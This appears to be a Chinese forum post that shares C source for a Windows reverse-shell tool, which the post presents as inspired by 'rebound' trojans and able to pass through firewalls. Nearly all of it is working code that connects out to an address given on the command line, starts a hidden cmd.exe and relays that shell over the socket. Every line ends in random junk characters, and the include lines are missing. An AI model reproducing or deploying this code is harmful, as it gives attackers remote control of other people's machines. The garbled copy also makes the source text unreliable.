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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bO<0qM~  
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/* ============================== )~rB}>^Z  
Rebound port in Windows NT i_F$&?)  
By wind,2006/7 QfQ\a%cc  
===============================*/ }t>q9bZ9z  
#include GIv){[i  
#include K` nJVc  
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#pragma comment(lib,"wsock32.lib") HXJ9xkrr  
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void OutputShell(); l[/q%Ca'>  
SOCKET sClient; fw{,bJ(U  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; .h;Se  
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void main(int argc,char **argv) !U BVPR*  
{ 5]7&IDA]]9  
WSADATA stWsaData; 1]\TI7/ n  
int nRet; b0a}ME&1  
SOCKADDR_IN stSaiClient,stSaiServer; MFg'YA2/  
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if(argc != 3) 5@XV6  
{ hkW{88  
printf("Useage:\n\rRebound DestIP DestPort\n"); qSQ@p\O~  
return; ^p_u.P  
} 135vZ:S  
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WSAStartup(MAKEWORD(2,2),&stWsaData); jxy1  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dALK0U  
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stSaiClient.sin_family = AF_INET; c6b0*!D"}  
stSaiClient.sin_port = htons(0); >$ F:*lO  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); XKq@]=\F  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ;o$;Z4:.D  
{ MB* u-N0v  
printf("Bind Socket Failed!\n"); KtTza5aF  
return; HR3_@^<7  
} bZ# X 9fT  
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stSaiServer.sin_family = AF_INET; IM ad$AKc  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); JJl7JwSTW  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2q %K)h  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WF/l7u#4i  
{ i<u9:W  
printf("Connect Error!"); y3yvZD  
return; G[q9A$yw  
} { (\(m/!Z  
OutputShell(); PZ34*q  
} +AK:(r  
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void OutputShell() fr#Qz{  
{ yL"i  
char szBuff[1024]; WOO%YU =  
SECURITY_ATTRIBUTES stSecurityAttributes; +8UdvMN  
OSVERSIONINFO stOsversionInfo; KzkgWMM  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; g2'x#%ET  
STARTUPINFO stStartupInfo; e~Hr(O+;e6  
char *szShell; GOW"o"S  
PROCESS_INFORMATION stProcessInformation; p`GWhI?  
unsigned long lBytesRead; ek[kq[U9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~|R[O^9B  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >38 Lt\  
stSecurityAttributes.lpSecurityDescriptor = 0;  C6)R#  
stSecurityAttributes.bInheritHandle = TRUE; z{6 YC~  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l#6&WWmr  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); -SJSTO[/J  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); a RKv+{K  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Qcgu`]7}  
stStartupInfo.wShowWindow = SW_HIDE; Wy(pLBmb  
stStartupInfo.hStdInput = hReadPipe; g9qC{x d  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _j 5N=I{U  
> tEK+Y|N}  
GetVersionEx(&stOsversionInfo); G{A)H_o*  
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switch(stOsversionInfo.dwPlatformId) E!@/NE\-  
{ u&SZ lkf6%  
case 1: k2OM="Ei}  
szShell = "command.com"; y#bK,}  
break; MOyT< $  
default: cDO:'-  
szShell = "cmd.exe"; taCCw2s-8*  
break; m %Y( O  
} F; a3  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WFj*nS^~l  
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send(sClient,szMsg,77,0);  ,F}r@  
while(1) P/`m3aSzX.  
{ "!a`ygqpT  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +@>:%yX  
if(lBytesRead) M1(9A>|nF  
{ 0h:G4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); iIB9j8  
send(sClient,szBuff,lBytesRead,0); #7\b\~5  
} {~nvs4X  
else kdBV1E+:C  
{ /p}{#DLB  
lBytesRead=recv(sClient,szBuff,1024,0); *]'qLL7d  
if(lBytesRead<=0) break; ~T&% VvI  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (!ZV9S  
} L1F###c  
} RnSm]}?  
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return; Q,n4i@E  
}
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